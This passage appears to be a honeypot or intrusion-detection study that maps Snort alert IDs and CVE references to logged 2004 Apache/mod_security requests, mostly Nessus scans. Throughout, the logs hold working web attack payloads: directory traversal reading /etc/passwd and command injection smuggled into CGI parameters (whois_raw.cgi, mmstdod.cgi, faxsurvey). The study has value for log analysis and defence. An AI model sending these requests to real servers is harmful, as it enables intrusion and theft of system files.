The obvious attacks are proxy abuse, web attack and brute force attacks but there are a lot more (about 400): 6800-50=6750
SnortIDLinkCategoryAttack nameExample
509arachNIDS 300web-application-attackWEB-MISC PCCS mysql database admin tool access
Request: 217.160.165.173 - - [Fri Mar 12 22:37:23 2004] "GET /pccsmysqladm/incs/dbconnect.inc HTTP/1.1" 403 315
Handler: (null)
Error: client denied by server configuration: /usr/local/apache/htdocs/pccsmysqladm
----------------------------------------
GET /pccsmysqladm/incs/dbconnect.inc HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Close
Host: 192.168.1.103
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)

HTTP/1.1 403 Forbidden
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
803CAN-2001-0253
BID2314
web-application-attackWEB-CGI HyperSeek hsx.cgi directory traversal attempt
Request: 217.160.165.173 - - [Fri Mar 12 22:37:39 2004] "GET /cgi-bin/hsx.cgi?show=../../../../../../../../../../../../../etc/passwd%00 HTTP/1.1" 200 578
Handler: cgi-script
Error: mod_security: Invalid character detected [0]
----------------------------------------
GET /cgi-bin/hsx.cgi?show=../../../../../../../../../../../../../etc/passwd%00 HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)
mod_security-message: Invalid character detected
mod_security-action: 200

HTTP/1.1 200 OK
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
805Nessus 10304
CVE-2000-0127
arachNIDS 467
attempted-userWEB-CGI webspeed access
Request: 217.160.165.173 - - [Fri Mar 12 22:42:09 2004] "GET /scripts/wsisa.dll/WService=anything?WSMadmin HTTP/1.1" 200 578
Handler: (null)
Error: mod_security: pausing [/scripts/wsisa.dll/WService=anything] for 50000 ms
----------------------------------------
GET /scripts/wsisa.dll/WService=anything?WSMadmin HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Close
Host: 192.168.1.103
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)
mod_security-message: Access denied with code 200. Pattern match "WSMadmin" at THE_REQUEST.
mod_security-action: 200

HTTP/1.1 200 OK
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
806BID1668
arachNIDS 462
CVE-2000-0853
attempted-reconWEB-CGI yabb directory traversal attempt
Request: 217.160.165.173 - - [Fri Mar 12 22:41:54 2004] "GET /cgi-bin/YaBB.pl?board=news&action=display&num=../../../../../../etc/passwd%00 HTTP/1.1" 200 578
Handler: cgi-script
Error: mod_security: Invalid character detected [0]
----------------------------------------
GET /cgi-bin/YaBB.pl?board=news&action=display&num=../../../../../../etc/passwd%00 HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)
mod_security-message: Invalid character detected
mod_security-action: 200

HTTP/1.1 200 OK
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
807BID649
Nessus 10321
CVE-1999-0953
arachNIDS 463
attempted-reconWEB-CGI /wwwboard/passwd.txt access
Request: 217.160.165.173 - - [Fri Mar 12 22:41:17 2004] "GET /wwwboard/passwd.txt HTTP/1.1" 200 578
Handler: (null)
Error: mod_security: pausing [/wwwboard/passwd.txt] for 50000 ms
----------------------------------------
GET /wwwboard/passwd.txt HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Close
Host: 192.168.1.103
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)
mod_security-message: Access denied with code 200. Pattern match "/wwwboard/passwd\.txt" at THE_REQUEST.
mod_security-action: 200

HTTP/1.1 200 OK
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
808Nessus 10592
BID2166
arachNIDS 473
attempted-reconWEB-CGI webdriver access
Request: 217.160.165.173 - - [Fri Mar 12 22:38:58 2004] "GET /cgi-bin/webdriver HTTP/1.1" 403 301
Handler: cgi-script
Error: client denied by server configuration: /usr/local/apache/cgi-bin/webdriver
----------------------------------------
GET /cgi-bin/webdriver HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Close
Host: 192.168.1.103
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)

HTTP/1.1 403 Forbidden
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
810Nessus 10306
arachNIDS 466
CAN-1999-1063
attempted-reconWEB-CGI whois_raw.cgi access
Request: 217.160.165.173 - - [Fri Mar 12 22:42:07 2004] "GET /cgi-bin/whois_raw.cgi?fqdn=%0Acat%20/etc/passwd HTTP/1.1" 200 578
Handler: cgi-script
Error: mod_security: Invalid character detected [10]
----------------------------------------
GET /cgi-bin/whois_raw.cgi?fqdn=%0Acat%20/etc/passwd HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)
mod_security-message: Invalid character detected
mod_security-action: 200

HTTP/1.1 200 OK
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
812arachNIDS 470
CVE-2000-0282
attempted-reconWEB-CGI webplus version access
Request: 217.160.165.173 - - [Fri Mar 12 22:41:50 2004] "GET /cgi-bin/webplus?about HTTP/1.1" 403 299
Handler: cgi-script
Error: client denied by server configuration: /usr/local/apache/cgi-bin/webplus
----------------------------------------
GET /cgi-bin/webplus?about HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)

HTTP/1.1 403 Forbidden
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
813arachNIDS 471
CVE-2000-0282
web-application-attackWEB-CGI webplus directory traversal
Request: 217.160.165.173 - - [Fri Mar 12 22:38:04 2004] "GET /webplus?script=/../../../../etc/passwd HTTP/1.1" 403 291
Handler: (null)
Error: client denied by server configuration: /usr/local/apache/htdocs/webplus
----------------------------------------
GET /webplus?script=/../../../../etc/passwd HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)

HTTP/1.1 403 Forbidden
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
815Nessus 10301
BID2077
arachNIDS 469
CVE-1999-0196
attempted-reconWEB-CGI websendmail access
Request: 217.160.165.173 - - [Fri Mar 12 22:40:09 2004] "GET /cgi-bin/websendmail HTTP/1.1" 200 578
Handler: cgi-script
Error: mod_security: pausing [/cgi-bin/websendmail] for 50000 ms
----------------------------------------
GET /cgi-bin/websendmail HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Close
Host: 192.168.1.103
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)
mod_security-message: Access denied with code 200. Pattern match "/websendmail" at THE_REQUEST.
mod_security-action: 200

HTTP/1.1 200 OK
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
819CVE-2001-0021attempted-reconWEB-CGI mmstdod.cgi access
Request: 217.160.165.173 - - [Fri Mar 12 22:41:46 2004] "GET /cgi-bin/mmstdod.cgi?ALTERNATE_TEMPLATES=|%20echo%20"Content-Type:%20text%2Fhtml"%3Becho%20""%20%3B%20id%00 HTTP/1.1" 403 303
Handler: cgi-script
Error: client denied by server configuration: /usr/local/apache/cgi-bin/mmstdod.cgi
----------------------------------------
GET /cgi-bin/mmstdod.cgi?ALTERNATE_TEMPLATES=|%20echo%20"Content-Type:%20text%2Fhtml"%3Becho%20""%20%3B%20id%00 HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)

HTTP/1.1 403 Forbidden
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
820BID2388
CVE-2000-0975
web-application-attackWEB-CGI anaconda directory transversal attempt
Request: 217.160.165.173 - - [Fri Mar 12 22:39:15 2004] "GET /cgi-bin/apexec.pl?etype=odp&template=../../../../../../../../../etc/passwd%00.html&passurl=/category/ HTTP/1.1" 200 578
Handler: cgi-script
Error: mod_security: Invalid character detected [0]
----------------------------------------
GET /cgi-bin/apexec.pl?etype=odp&template=../../../../../../../../../etc/passwd%00.html&passurl=/category/ HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)
mod_security-message: Invalid character detected
mod_security-action: 200

HTTP/1.1 200 OK
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
823CVE-2000-0670attempted-reconWEB-CGI cvsweb.cgi access
Request: 217.160.165.173 - - [Fri Mar 12 22:38:19 2004] "GET /cvsweb.cgi/ HTTP/1.1" 403 295
Handler: (null)
Error: client denied by server configuration: /usr/local/apache/htdocs/cvsweb.cgi
----------------------------------------
GET /cvsweb.cgi/ HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)

HTTP/1.1 403 Forbidden
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
824arachNIDS 232
BID2250
CAN-1999-0238
attempted-reconWEB-CGI php.cgi access
Request: 217.160.165.173 - - [Fri Mar 12 22:42:33 2004] "GET /php.cgi?/etc/passwd HTTP/1.1" 403 291
Handler: (null)
Error: client denied by server configuration: /usr/local/apache/htdocs/php.cgi
----------------------------------------
GET /php.cgi?/etc/passwd HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)

HTTP/1.1 403 Forbidden
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
827CVE-1999-0266
BID1995
attempted-reconWEB-CGI info2www access
Request: 217.160.165.173 - - [Fri Mar 12 22:41:44 2004] "GET /cgi-bin/info2www HTTP/1.1" 403 300
Handler: cgi-script
Error: client denied by server configuration: /usr/local/apache/cgi-bin/info2www
----------------------------------------
GET /cgi-bin/info2www HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)

HTTP/1.1 403 Forbidden
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
829BID686
CVE-1999-0045
arachNIDS 224
Nessus 10165
attempted-reconWEB-CGI nph-test-cgi access
Request: 217.160.165.173 - - [Fri Mar 12 22:40:06 2004] "GET /cgi-bin/nph-test-cgi HTTP/1.1" 200 578
Handler: cgi-script
Error: mod_security: pausing [/cgi-bin/nph-test-cgi] for 50000 ms
----------------------------------------
GET /cgi-bin/nph-test-cgi HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Close
Host: 192.168.1.103
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)
mod_security-message: Access denied with code 200. Pattern match "/nph-test-cgi" at THE_REQUEST.
mod_security-action: 200

HTTP/1.1 200 OK
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
830CAN-1999-1177attempted-reconWEB-CGI NPH-publish access
Request: 217.160.165.173 - - [Fri Mar 12 22:40:08 2004] "GET /cgi-bin/nph-publish.cgi HTTP/1.1" 200 578
Handler: cgi-script
Error: mod_security: pausing [/cgi-bin/nph-publish.cgi] for 50000 ms
----------------------------------------
GET /cgi-bin/nph-publish.cgi HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Close
Host: 192.168.1.103
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)
mod_security-message: Access denied with code 200. Pattern match "/nph-publish" at THE_REQUEST.
mod_security-action: 200

HTTP/1.1 200 OK
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
833BID2024
CAN-1999-0467
attempted-reconWEB-CGI rguest.exe access
Request: 24.127.175.68 - - [Sat Mar 13 14:49:00 2004] "GET http://amateur-facials.com/1850/20202/index.html/cgi-bin/rguest.exe;dunno;RainM; HTTP/1.0" 200 566
Handler: proxy-server
Error: mod_security: pausing [http://amateur-facials.com/1850/20202/index.html/cgi-bin/rguest.exe;dunno;RainM;] for 50000 ms
----------------------------------------
GET http://amateur-facials.com/1850/20202/index.html/cgi-bin/rguest.exe;dunno;RainM; HTTP/1.0
Cache-Control: no-cache
Connection: close
Host: amateur-facials.com
Pragma: no-cache
Proxy-Connection: keep-alive
Referer: http://amateur-facials.com/1850/20202/index.html/cgi-bin/rguest.exe;dunno;RainM;
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
mod_security-message: Access denied with code 200. Pattern match "/rguest\.exe" at THE_REQUEST.
mod_security-action: 200

HTTP/1.0 200 OK
Connection: close
Content-Type: text/html; charset=iso-8859-1
835CVE-1999-0070
Nessus 10282
attempted-reconWEB-CGI test-cgi access
Request: 217.160.165.173 - - [Fri Mar 12 22:37:54 2004] "GET /test-cgi?/* HTTP/1.1" 403 292
Handler: (null)
Error: client denied by server configuration: /usr/local/apache/htdocs/test-cgi
----------------------------------------
GET /test-cgi?/* HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)

HTTP/1.1 403 Forbidden
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
836CAN-1999-1479attempted-reconWEB-CGI textcounter.pl access
Request: 217.160.165.173 - - [Fri Mar 12 22:40:31 2004] "GET /cgi-bin/textcounter.pl HTTP/1.1" 403 306
Handler: cgi-script
Error: client denied by server configuration: /usr/local/apache/cgi-bin/textcounter.pl
----------------------------------------
GET /cgi-bin/textcounter.pl HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)

HTTP/1.1 403 Forbidden
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
837Nessus 10291
CVE-1999-0177
attempted-reconWEB-CGI uploader.exe access
Request: 217.160.165.173 - - [Fri Mar 12 22:40:52 2004] "GET /cgi-win/uploader.exe HTTP/1.1" 200 578
Handler: (null)
Error: mod_security: pausing [/cgi-win/uploader.exe] for 50000 ms
----------------------------------------
GET /cgi-win/uploader.exe HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Close
Host: 192.168.1.103
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)
mod_security-message: Access denied with code 200. Pattern match "/uploader\.exe" at THE_REQUEST.
mod_security-action: 200

HTTP/1.1 200 OK
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
838Nessus 10300
CVE-1999-0176
BID2058
arachNIDS 472
attempted-reconWEB-CGI webgais access
Request: 217.160.165.173 - - [Fri Mar 12 22:41:30 2004] "GET /cgi-bin/webgais HTTP/1.1" 403 299
Handler: cgi-script
Error: client denied by server configuration: /usr/local/apache/cgi-bin/webgais
----------------------------------------
GET /cgi-bin/webgais HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Close
Host: 192.168.1.103
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)

HTTP/1.1 403 Forbidden
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
839Nessus 10071
CVE-1999-0612
arachNIDS 221
attempted-reconWEB-CGI finger access
Request: 217.160.165.173 - - [Fri Mar 12 22:40:32 2004] "GET /cgi-bin/finger HTTP/1.1" 403 298
Handler: cgi-script
Error: client denied by server configuration: /usr/local/apache/cgi-bin/finger
----------------------------------------
GET /cgi-bin/finger HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Close
Host: 192.168.1.103
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)

HTTP/1.1 403 Forbidden
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
840CAN-1999-1374attempted-reconWEB-CGI perlshop.cgi access
Request: 217.160.165.173 - - [Fri Mar 12 22:45:40 2004] "GET /cgi-bin/perlshop.cgi HTTP/1.1" 403 304
Handler: cgi-script
Error: client denied by server configuration: /usr/local/apache/cgi-bin/perlshop.cgi
----------------------------------------
GET /cgi-bin/perlshop.cgi HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)

HTTP/1.1 403 Forbidden
Keep-Alive: timeout=15, max=43
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
842BID2026
CVE-1999-0147
Nessus 10095
attempted-reconWEB-CGI aglimpse access
Request: 217.160.165.173 - - [Fri Mar 12 22:37:41 2004] "GET /cgi-bin/aglimpse HTTP/1.1" 200 578
Handler: cgi-script
Error: mod_security: pausing [/cgi-bin/aglimpse] for 50000 ms
----------------------------------------
GET /cgi-bin/aglimpse HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Close
Host: 192.168.1.103
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)
mod_security-message: Access denied with code 200. Pattern match "/aglimpse" at THE_REQUEST.
mod_security-action: 200

HTTP/1.1 200 OK
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
844CAN-1999-1374attempted-reconWEB-CGI args.bat access
Request: 217.160.165.173 - - [Fri Mar 12 22:38:39 2004] "GET /cgi-dos/args.bat HTTP/1.1" 403 300
Handler: (null)
Error: client denied by server configuration: /usr/local/apache/htdocs/cgi-dos
----------------------------------------
GET /cgi-dos/args.bat HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)

HTTP/1.1 403 Forbidden
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
845CAN-1999-1072attempted-reconWEB-CGI AT-admin.cgi access
Request: 217.160.165.173 - - [Fri Mar 12 22:45:09 2004] "GET /cgi-bin/AT-admin.cgi HTTP/1.1" 200 578
Handler: cgi-script
Error: mod_security: pausing [/cgi-bin/AT-admin.cgi] for 50000 ms
----------------------------------------
GET /cgi-bin/AT-admin.cgi HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)
mod_security-message: Access denied with code 200. Pattern match "/AT-admin\.cgi" at THE_REQUEST.
mod_security-action: 200

HTTP/1.1 200 OK
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
846BID1469
CVE-1999-0937
attempted-reconWEB-CGI bnbform.cgi access
Request: 217.160.165.173 - - [Fri Mar 12 22:45:46 2004] "GET /cgi-bin/bnbform.cgi HTTP/1.1" 403 303
Handler: cgi-script
Error: client denied by server configuration: /usr/local/apache/cgi-bin/bnbform.cgi
----------------------------------------
GET /cgi-bin/bnbform.cgi HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)

HTTP/1.1 403 Forbidden
Keep-Alive: timeout=15, max=82
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
847BID1975
CVE-1999-0146
attempted-reconWEB-CGI campas access
Request: 217.160.165.173 - - [Fri Mar 12 22:37:39 2004] "GET /cgi-bin/campas HTTP/1.1" 403 298
Handler: cgi-script
Error: client denied by server configuration: /usr/local/apache/cgi-bin/campas
----------------------------------------
GET /cgi-bin/campas HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Close
Host: 192.168.1.103
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)

HTTP/1.1 403 Forbidden
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
852BID2024
CAN-1999-0467
attempted-reconWEB-CGI wguest.exe access
Request: 24.127.175.68 - - [Sat Mar 13 14:41:48 2004] "GET http://brazilian-transsexuals.com/members//cgi-bin/wguest.exe;dunno;RainM; HTTP/1.0" 200 566
Handler: proxy-server
Error: mod_security: pausing [http://brazilian-transsexuals.com/members//cgi-bin/wguest.exe;dunno;RainM;] for 50000 ms
----------------------------------------
GET http://brazilian-transsexuals.com/members//cgi-bin/wguest.exe;dunno;RainM; HTTP/1.0
Cache-Control: no-cache
Connection: close
Host: brazilian-transsexuals.com
Pragma: no-cache
Proxy-Connection: keep-alive
Referer: http://brazilian-transsexuals.com/members//cgi-bin/wguest.exe;dunno;RainM;
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
mod_security-message: Access denied with code 200. Pattern match "/wguest\.exe" at THE_REQUEST.
mod_security-action: 200

HTTP/1.0 200 OK
Connection: close
Content-Type: text/html; charset=iso-8859-1
853CVE-1999-0149
arachNIDS 234
BID373
Nessus 10317
attempted-reconWEB-CGI wrap access
Request: 217.160.165.173 - - [Fri Mar 12 22:39:13 2004] "GET /cgi-bin/wrap HTTP/1.1" 403 296
Handler: cgi-script
Error: client denied by server configuration: /usr/local/apache/cgi-bin/wrap
----------------------------------------
GET /cgi-bin/wrap HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Close
Host: 192.168.1.103
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)

HTTP/1.1 403 Forbidden
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
854BID2020attempted-reconWEB-CGI classifieds.cgi access
Request: 217.160.165.173 - - [Fri Mar 12 22:45:34 2004] "GET /cgi-bin/classifieds.cgi HTTP/1.1" 403 307
Handler: cgi-script
Error: client denied by server configuration: /usr/local/apache/cgi-bin/classifieds.cgi
----------------------------------------
GET /cgi-bin/classifieds.cgi HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)

HTTP/1.1 403 Forbidden
Keep-Alive: timeout=15, max=95
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
857Nessus 10067
BID2056
CVE-1999-0262
web-application-activityWEB-CGI faxsurvey access
Request: 217.160.165.173 - - [Fri Mar 12 22:41:54 2004] "GET /cgi-bin/faxsurvey?cat%20/etc/passwd HTTP/1.1" 403 301
Handler: cgi-script
Error: client denied by server configuration: /usr/local/apache/cgi-bin/faxsurvey
----------------------------------------
GET /cgi-bin/faxsurvey?cat%20/etc/passwd HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)

HTTP/1.1 403 Forbidden
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
858CAN-1999-1154attempted-reconWEB-CGI filemail access
Request: 24.127.175.68 - - [Sat Mar 13 15:03:45 2004] "GET http://members.dynamix.net/movies.html/cgi-bin/filemail.pl;dunno;RainM; HTTP/1.0" 200 566
Handler: proxy-server
Error: mod_security: pausing [http://members.dynamix.net/movies.html/cgi-bin/filemail.pl;dunno;RainM;] for 50000 ms
----------------------------------------
GET http://members.dynamix.net/movies.html/cgi-bin/filemail.pl;dunno;RainM; HTTP/1.0
Cache-Control: no-cache
Connection: close
Host: members.dynamix.net
Pragma: no-cache
Proxy-Connection: keep-alive
Referer: http://members.dynamix.net/movies.html/cgi-bin/filemail.pl;dunno;RainM;
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
mod_security-message: Access denied with code 200. Pattern match "/filemail\.pl" at THE_REQUEST.
mod_security-action: 200

HTTP/1.0 200 OK
Connection: close
Content-Type: text/html; charset=iso-8859-1
861CVE-2000-0012
Nessus 10296
arachNIDS 210
CVE-1999-0276
BID591
attempted-reconWEB-CGI w3-msql access
Request: 217.160.165.173 - - [Fri Mar 12 22:47:11 2004] "GET /cgi-bin/w3-msql/index.html HTTP/1.1" 403 310
Handler: cgi-script
Error: client denied by server configuration: /usr/local/apache/cgi-bin/w3-msql
----------------------------------------
GET /cgi-bin/w3-msql/index.html HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)

HTTP/1.1 403 Forbidden
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
862CA-1996-11attempted-reconWEB-CGI csh access
Request: 217.160.165.173 - - [Fri Mar 12 22:38:39 2004] "GET /cgi-bin/csh HTTP/1.1" 403 295
Handler: cgi-script
Error: client denied by server configuration: /usr/local/apache/cgi-bin/csh
----------------------------------------
